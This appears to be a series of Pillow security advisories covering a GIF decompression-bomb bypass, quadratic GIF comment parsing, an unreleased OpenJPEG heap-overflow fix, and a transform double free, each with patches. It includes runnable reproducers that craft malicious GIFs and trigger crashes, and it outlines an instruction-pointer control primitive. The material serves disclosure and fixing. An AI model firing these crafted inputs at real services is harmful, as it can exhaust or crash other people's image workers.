applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the
last line is OK.

Suggested fix

The attached patch validates before mutating in GifImageFile._seek()
(src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a
local, passed to _decompression_bomb_check(), and only then assigned to
self._size, matching the order of the two dispose_size checks further down
the same function. A rejected frame therefore leaves the object in its pre-seek
state; valid files behave as before, and the exception is still raised at the
same point:

--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

n_frames / is_animated go through update_image=False and are unaffected.
The patch also extends test_exception_gif_extents in
Tests/test_decompression_bomb.py to assert that im.size is unchanged after
the DecompressionBombError. It does not change seek() itself; optionally,
seek() could also treat DecompressionBombError like EOFError and re-seek
to last_frame, so that a retried seek() does not resume parsing from the
middle of the rejected frame.

The patch

GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
             with pytest.raises(Image.DecompressionBombError):
                 im.seek(1)
 
+            # The rejected frame should not have changed the image size
+            assert im.size == (100, 100)
+
     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
         # Set limit to trigger exception on the test file
         monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]
The reproducer
Reproducer — repro, 2,474 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### GifImageFile._seek() stores a frame's enlarged size in self._size and only

##### *then* runs the decompression-bomb check. The check raises, but the object
##### keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the

##### next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct

from PIL import Image

BOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS

def frame_1x1():
    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
    return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"

def bomb_gif():
    return (
        b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
        + frame_1x1()                                         # frame 0: 1x1, passes open()
        + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000
        + frame_1x1()                                         # a real 1x1 frame follows
        + b";"
    )

def peak_rss_mib():
    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024

def setup_env():
    # Cap the address space so the oversized allocations end in MemoryError
    # instead of the OOM killer.
    resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
    data = bomb_gif()
    im = Image.open(io.BytesIO(data))
    print(f"open(): {len(data)}-byte GIF, size={im.size}")
    return im

def poc(im):
    # An application skips the bomb frame and keeps going.
    try:
        im.seek(1)
    except Image.DecompressionBombError as e:
        print(f"seek(1) raised as intended: {e}")
        return True
    return False

im = setup_env()
raised = poc(im)

##### Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)

##### Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its

##### buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
    im.load()
    outcome = "completed"
except MemoryError:
    outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Quadratic GIF comment concatenation allows DoS in Image.open()

BIT-pillow-2026-112401 / CVE-2026-112401 / GHSA-74r2-7ff9-mjj2

More information

Details

============================================================================
Quadratic GIF comment concatenation allows DoS in Image.open()
Location: src/PIL/GifImagePlugin.py:266  in GifImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Opening a crafted GIF file with Image.open() takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside Image.open() itself, with default settings, before the application has seen the image's size or format.

The bug is in GifImageFile._seek() in src/PIL/GifImagePlugin.py, which builds info["comment"] by appending to an immutable bytes object with no size limit. It appends once per 255-byte sub-block (comment += block, line 261) and once per comment extension (info["comment"] += b"\n" + comment, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because _open() ends with self._seek(0), any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.

Details

GifImageFile._seek() collects GIF comment extensions into info["comment"] using bytes concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. bytes is immutable, so every += allocates a new object and copies everything accumulated so far; the work done by Image.open() is therefore quadratic in the amount of comment data in frame 0.

A 1×1 GIF89a whose body is nothing but the 5-byte comment extension 21 FE 01 41 00 repeated makes this directly observable. Image.open(BytesIO(data)) on such a file, stock build at this commit, 2-CPU machine:

file size comment extensions (21 FE …) same bytes labelled plain-text extension (21 01 …)
1 MB 1.2 s 0.09 s
2 MB 4.9 s 0.13 s
4 MB 35 s 0.26 s
8 MB 183 s —

The control column is the identical byte stream with the extension label changed from 0xFE to 0x01; it goes through the same loop and the same self.data() reads but is discarded instead of concatenated, and scales linearly. No load() is needed and no warning or exception is raised; im.info["comment"] simply ends up holding the multi-megabyte blob.

The code, src/PIL/GifImagePlugin.py:229-281 (trimmed):

            elif s == b"!":
                s = self.fp.read(1)
                block = self.data()
                …
                elif s[0] == 254:
                    #
                    # comment extension
                    #
                    comment = b""

                    # Read this comment block
                    while block:
                        comment += block                      # :261  one copy per sub-block
                        block = self.data()

                    if "comment" in info:
                        # If multiple comment blocks in frame, separate with \n
                        info["comment"] += b"\n" + comment    # :266  one copy per extension
                    else:
                        info["comment"] = comment
                    s = b""
                    continue
                …
                while self.data():                            # every other extension: read and drop
                    pass

self.data() (:97-102) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two += lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of info["comment"] once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).

This runs during Image.open(): _open() ends with self._seek(0) (:135), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. Image._decompression_bomb_check is not involved (the image is 1×1), and unlike PNG text chunks (PngImagePlugin.MAX_TEXT_CHUNK / MAX_TEXT_MEMORY) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via seek() / n_frames.

With both += sites replaced by list-append and a single b"".join() (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.

Impact

Anyone who can get a GIF to a service that calls PIL.Image.open() on it — avatar/media uploads, thumbnailers, format sniffing, anything using ImageOps/thumbnail() on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in im.info["comment"]), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (≈1 s at 1 MB).

This is the same shape as CVE-2021-28677 ("EPS DOS on _open", docs/releasenotes/8.2.0.rst), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension.

The quadratic accumulation was introduced in b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", 2018-11-27), first released in Pillow 5.4.0.

Reproducing

repro is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild.

It builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1×1 screen, followed by size/5 copies of the 5-byte extension 21 <label> 01 41 00, then a minimal 1×1 image and the trailer:

  • comments: label 0xFE. Each extension is a 1-byte comment, so _seek() appends each one to info["comment"] with += (GifImagePlugin.py:266).
  • control: label 0x01 (plain-text extension). The bytes are the same apart from the label. _seek() reads them through the same loop and the same self.data() calls, then throws them away.

The script times Image.open(io.BytesIO(data)) on each file. It does not call load(), because _open() already parses frame 0. It checks that the image came out as 1×1. Typical output on a 2-CPU machine:

2 MB GIF   control (0x01):   0.16 s   comments (0xFE):   5.14 s
4 MB GIF   control (0x01):   0.26 s   comments (0xFE):  33.53 s
doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2)
4 MB comment GIF took x129 as long as the same-size control
BUG

For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints BUG when all three of these hold:

  • doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3×;
  • the 4 MB comment file takes at least 20× as long as its control;
  • the 4 MB comment file takes at least 8 s.

Otherwise it prints OK. The run is deterministic, CPU-bound on one core, and takes about 40 s.

Suggested fix

The attached patch changes GifImageFile._seek() in src/PIL/GifImagePlugin.py to accumulate comment data in a local list instead of with bytes concatenation, and to join it once when the frame's info is committed:

@@ def _seek(self, frame: int, update_image: bool = True) -> None:
         info: dict[str, Any] = {}
+        comment_blocks: list[bytes] | None = None
         frame_transparency = None
@@
                 elif s[0] == 254:
                     #
                     # comment extension
                     #
-                    comment = b""
+                    if comment_blocks is None:
+                        comment_blocks = []
+                    else:
+                        # If multiple comment blocks in frame, separate with \n
+                        comment_blocks.append(b"\n")
 
                     # Read this comment block
                     while block:
-                        comment += block
+                        comment_blocks.append(block)
                         block = self.data()
-
-                    if "comment" in info:
-                        # If multiple comment blocks in frame, separate with \n
-                        info["comment"] += b"\n" + comment
-                    else:
-                        info["comment"] = comment
                     s = b""
                     continue
@@
-        if info.get("comment"):
-            self.info["comment"] = info["comment"]
+        if comment_blocks:
+            comment = b"".join(comment_blocks)
+            if comment:
+                self.info["comment"] = comment
         for k in ["duration", "extension"]:

This removes the quadratic copying at both sites (:261 per sub-block and :266 per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints BUG on a patched build. The resulting info["comment"] is unchanged for empty, multi-sub-block, multi-extension and later-frame comments — including Tests/images/multiple_comments.gif → b"Test comment 1\nTest comment 2" — and Tests/test_file_gif.py passes unchanged. The GIF writer (_write_local_header / _save) is not affected.

The patch deliberately adds no size cap. Unlike PNG zTXt, which PngImagePlugin.MAX_TEXT_CHUNK guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a MAX_COMMENT_SIZE check inside the sub-block loop is a small policy addition on top of this patch.

The patch

GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek()

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..05007d2ac 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile):
         palette: ImagePalette.ImagePalette | Literal[False] | None = None
 
         info: dict[str, Any] = {}
+        comment_blocks: list[bytes] | None = None
         frame_transparency = None
         interlace = None
         frame_dispose_extent = None
@@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile):
                     #
                     # comment extension
                     #
-                    comment = b""
+                    if comment_blocks is None:
+                        comment_blocks = []
+                    else:
+                        # If multiple comment blocks in frame, separate with \n
+                        comment_blocks.append(b"\n")
 
                     # Read this comment block
                     while block:
-                        comment += block
+                        comment_blocks.append(block)
                         block = self.data()
-
-                    if "comment" in info:
-                        # If multiple comment blocks in frame, separate with \n
-                        info["comment"] += b"\n" + comment
-                    else:
-                        info["comment"] = comment
                     s = b""
                     continue
                 elif s[0] == 255 and frame == 0 and block is not None:
@@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile):
                 )
             ]
 
-        if info.get("comment"):
-            self.info["comment"] = info["comment"]
+        if comment_blocks:
+            comment = b"".join(comment_blocks)
+            if comment:
+                self.info["comment"] = comment
         for k in ["duration", "extension"]:
             if k in info:
                 self.info[k] = info[k]
The reproducer
Reproducer — repro, 2,263 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
"""Quadratic CPU in Image.open() on GIF comment extensions.

GifImageFile._seek() appends every comment extension to info["comment"] with
bytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated
comment each time.  Image.open() runs _seek(0) eagerly, so merely opening a GIF
made of many tiny comment extensions costs O(size^2) CPU.

We time Image.open() on two files of identical length:
  ATTACK  - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE)
  CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek()
            reads through the same loop but discards instead of concatenating.
A linear parser would take ~2x longer when the file doubles, and the two files
would cost about the same.
"""
import io
import time

from PIL import Image

HEADER = b"GIF89a" + b"\x01\x00\x01\x00" + b"\x00\x00\x00"  # 1x1 screen, no palette
IMAGE = b",\x00\x00\x00\x00\x01\x00\x01\x00\x00" + b"\x02\x02\x44\x01\x00"  # 1x1 frame
TRAILER = b";"

def make_gif(size: int, label: int) -> bytes:
    # each extension is `21 <label> 01 'A' 00`: one 1-byte sub-block, then terminator
    extension = b"!" + bytes([label]) + b"\x01A\x00"
    return HEADER + extension * (size // 5) + IMAGE + TRAILER

def time_open(data: bytes) -> float:
    start = time.perf_counter()
    with Image.open(io.BytesIO(data)) as im:  # no load(): the cost is in open()
        elapsed = time.perf_counter() - start
        assert im.size == (1, 1)
    return elapsed

MB = 1 << 20
attack, control = {}, {}
for size in (2 * MB, 4 * MB):
    control[size] = time_open(make_gif(size, 0x01))
    attack[size] = time_open(make_gif(size, 0xFE))
    print(f"{size // MB} MB GIF   control (0x01): {control[size]:6.2f} s   "
          f"comments (0xFE): {attack[size]:6.2f} s", flush=True)

growth = attack[4 * MB] / attack[2 * MB]
vs_control = attack[4 * MB] / control[4 * MB]
print(f"doubling 2 MB -> 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)")
print(f"4 MB comment GIF took x{vs_control:.0f} as long as the same-size control")

##### BUG: super-linear growth, far slower than the control, and seconds of CPU per open()
print("BUG" if growth >= 3 and vs_control >= 20 and attack[4 * MB] >= 8 else "OK")

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()

GHSA-78g4-xqwv-q3g8

More information

Details

Summary

Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow write that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219

Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from Image.open(fp); im.load() with default settings.

I am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users.

Note the inversion that makes this easy to miss: OpenJPEG 2.5.2 and earlier are safe. The bug was introduced in 954c6e3c (2024-06-25), so keeping the dependency current is what creates the exposure.

Details
Affected wheels

From .github/dependencies.json (openjpeg) at each tag:

Pillow bundled OpenJPEG status
10.4.0 2.5.2 safe
11.0.0 2.5.2 safe
11.1.0, 11.2.1, 11.3.0 2.5.3 affected
12.0.0 … 12.3.0 2.5.4 affected

Confirmed on an installed wheel: PIL.features.version_codec('jpg_2000') → 2.5.4, bundled file pillow.libs/libopenjp2-*.so.2.5.4. main still pins 2.5.4 as of 2026-10-06.

The defect

src/lib/openjp2/j2k.c, in opj_j2k_read_sod:

OPJ_UINT32 l_current_tile_part =
    l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno;
l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos;
l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_pos   =
    l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2;

tp_index is neither null-checked nor bounds-checked, and l_current_tile_part comes directly from the one-byte TPsot field of the SOT marker.

The correct guard already exists a few lines later in opj_j2k_add_tlmarker (j2k.c:8459), writing the same array at the same index behind if (tp_index && l_current_tile_part < nb_tps). One writer checked, its sibling not.

Reached by giving the codestream a valid TLM marker — so tp_index is allocated once by opj_j2k_build_tp_index_from_tlm, sized to the TLM entry count, and opj_j2k_read_sot then skips all resizing — while setting TNsot = 0 in every SOT, which keeps the TLM "valid" and lets TPsot walk past the allocation.

Patch status

Fixed upstream in 91d08b11 ("Fix heap buffer overlfow in opj_j2k_read_sod", 2026-02-10).

The newest OpenJPEG tag is v2.5.4 (2025-09-20), and compare/v2.5.4...91d08b11 reports ahead 6, behind 0 — the fix is in no release, 8 months on.

Suggested remediation
  1. Carry 91d08b11 as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file.
  2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code.
  3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that Image.open() ignores filename/Content-Type and will reach any compiled-in codec unless formats= is passed would help downstream apps a lot.
Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply

Image.open() sniffs magic bytes, so a JPEG 2000 codestream in a file named avatar.png declared Content-Type: image/png reaches the JP2 decoder anyway.

I verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing formats= and validating on the detected format rather than the client's Content-Type.

That is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume.

Proof of concept

ASan build of OpenJPEG 2.5.4 interposed under a stock Pillow 12.3.0, running Image.open(p); im.load():

==766332==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
    #&#8203;0 opj_j2k_read_sod          j2k.c:5086
    #&#8203;1 opj_j2k_read_tile_header  j2k.c:9912
    #&#8203;2 opj_read_tile_header      openjpeg.c:575
    #&#8203;3 j2k_decode_entry          src/libImaging/Jpeg2KDecode.c:793
    #&#8203;4 ImagingJpeg2KDecode       src/libImaging/Jpeg2KDecode.c:949
    #&#8203;5 _decode                   src/decode.c:132
located 8 bytes to the right of a 24-byte region allocated by
    opj_j2k_build_tp_index_from_tlm j2k.c:8939

Frames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls opj_decoder_set_strict_mode. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure.

I have deliberately not attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready.

No disclosure deadline from me; I will not publish anything while this is being worked on.

Impact

Any application that calls Image.open() / im.load() on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file.

Floor, already certain. On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (corrupted size vs. prev_size, corrupted double-linked list, SIGABRT). One file reliably kills a long-lived worker.

Ceiling, demonstrated as a primitive but not as a finished exploit. With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses opj_event_mgr_t, which holds three opj_msg_callback function pointers, and opj_event_msg then calls one (event.c:136):

rip  0x4000    <- value chosen by the attacker's file layout
rsi  0x3ff2    <- m_error_data, written by the same walk

Shifting the codestream with a COM marker moves rip with it (0x16ce → 0x4000), so the instruction pointer is attacker-chosen rather than incidentally invalid. A benign control image leaves the same groomed heap untouched.

To be explicit about what I did not do: I have not built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform

BIT-pillow-2026-112402 / CVE-2026-112402 / GHSA-7mwm-ghpf-9vrm / PYSEC-2026-4331

More information

Details

============================================================================
Double free in ImagingScaleAffine on calloc failure via Image.transform
Location: src/libImaging/Geometry.c:866  in ImagingScaleAffine()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

There is a double free in Pillow's Image.transform() that crashes the process when an oversized transform runs out of memory. Instead of only raising MemoryError, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of Image.transform() can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.

The bug is in ImagingScaleAffine() in src/libImaging/Geometry.c (line 866). When its calloc() for the per-column lookup table of 4 × width bytes fails, it calls ImagingDelete(imOut). When the call comes from Image.transform(), imOut is the Imaging struct owned by the live Python ImagingCore output object. _dealloc() in src/_imaging.c later runs ImagingDelete() on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with Transform.EXTENT, or Transform.AFFINE with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as ulimit -v, uwsgi --limit-as or systemd LimitAS=. resize(), thumbnail() and rotate() are not affected. The attached reproducer runs on a stock build with a 1 GB limit: transform((300000000, 1), EXTENT) raises and catches MemoryError, then the process dies with SIGSEGV in free() called from _dealloc(). A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached.

Details

ImagingScaleAffine() frees an image it does not own. On the one error path where its calloc() for the per-column lookup table fails, it calls ImagingDelete(imOut). When reached through Image.transform(), imOut is the Imaging struct held by a live Python ImagingCore object; that object's _dealloc() later calls ImagingDelete() on the already-freed struct and frees its pixel blocks a second time.

Shortest demonstration on the stock build (the address-space limit stands in for ulimit -v / uwsgi --limit-as / systemd LimitAS= on a worker):

import resource, gc
from PIL import Image
resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)
src = Image.new("L", (8, 8))
try:
    src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8))
except MemoryError:
    pass                      # expected, and the process should carry on
gc.collect()                  # instead: SIGSEGV in _dealloc -> ImagingDelete -> free()

The 300 MB output image allocates; calloc(300000000, 4) (1.2 GB) does not. MemoryError is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing free() ← memory_return_block/ImagingDestroyArray (src/libImaging/Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← _dealloc (src/_imaging.c:188). An AddressSanitizer build of the same sources (with max_allocation_size_mb used to make the calloc fail instead of an rlimit) reports heap-use-after-free in ImagingDelete src/libImaging/Storage.c:257 called from _dealloc src/_imaging.c:188, on a 128-byte region "freed by" ImagingDelete ← ImagingScaleAffine src/libImaging/Geometry.c:866 ← ImagingTransformAffine Geometry.c:1043 ← ImagingTransform Geometry.c:1135 ← _transform src/_imaging.c:2153, "previously allocated by" ImagingNewPrologueSubtype Storage.c:53 ← … ← _new src/_imaging.c:756.

Code path

Image.transform() creates the output image as an ordinary Python-owned image and then transforms into it:


##### src/PIL/Image.py:3008…3021
        im = new(self.mode, size, fillcolor)
        …
            im.__transformer(
                (0, 0, *size), self, method, data, resample, fillcolor is None
            )

__transformer() rewrites Transform.EXTENT into an axis-aligned affine matrix (src/PIL/Image.py:3040-3046: data = (xs, 0, x0, 0, ys, y0), method = Transform.AFFINE) and calls self.im.transform(box, image.im, method, data, resample, fill) (Image.py:3117). resample defaults to Resampling.NEAREST (Image.py:2936).

In C, _transform() passes its own image as the destination:

/* src/_imaging.c:2153 */
    imOut = ImagingTransform(
        self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill
    );

ImagingTransformAffine() takes the scaling fast path because the filter is NEAREST and the matrix has no shear:

/* src/libImaging/Geometry.c:1035-1043 */
    if (filterid || imIn->type == IMAGING_TYPE_I16) {
        return ImagingGenericTransform(…);
    }
    if (a[1] == 0 && a[3] == 0) {
        /* Scaling */
        return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill);
    }

and ImagingScaleAffine() allocates a table of imOut->xsize ints:

/* src/libImaging/Geometry.c:863-868 */
    /* malloc check ok, uses calloc for overflow */
    xintab = (int *)calloc(imOut->xsize, sizeof(int));
    if (!xintab) {
        ImagingDelete(imOut);                         /* <-- imOut belongs to the caller */
        return (Imaging)ImagingError_MemoryError();
    }

ImagingDelete() (src/libImaging/Storage.c:250-279) drops the refcount to 0, returns the pixel blocks to the arena / free()s them via im->destroy, and free(im). self->image in the ImagingCore object still points at the freed struct. _transform() returns NULL, Image.transform() propagates MemoryError, the half-built output Image loses its last reference, and _dealloc() (src/_imaging.c:188) calls ImagingDelete(imagep->image) again: it locks im->mutex and decrements im->refcount inside freed memory, then walks im->blocks (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed blocks array had been overwritten, so free() receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block.

Every other error return in Geometry.c (ImagingError_ModeError, ImagingError_Mismatch, "bad filter number", "bad transform method") leaves imOut alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, _resize() (src/_imaging.c:2026-2030), where imOut is a fresh ImagingNewDirty() temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, 9a640e315715 ("Forking PIL", 2010-07-30), so every release since Pillow 1.0 is affected.

The output width is what decides whether the path is hit: the output image costs width × height × pixelsize bytes, the table an additional 4 × width. A very wide, 1-row output (300 000 000 × 1 "L": 300 MB image, 1.2 GB table) makes the table the allocation that fails. ImagingNewPrologueSubtype() caps xsize at INT_MAX/4 - 1, so the table is at most ~2 GB.

Impact

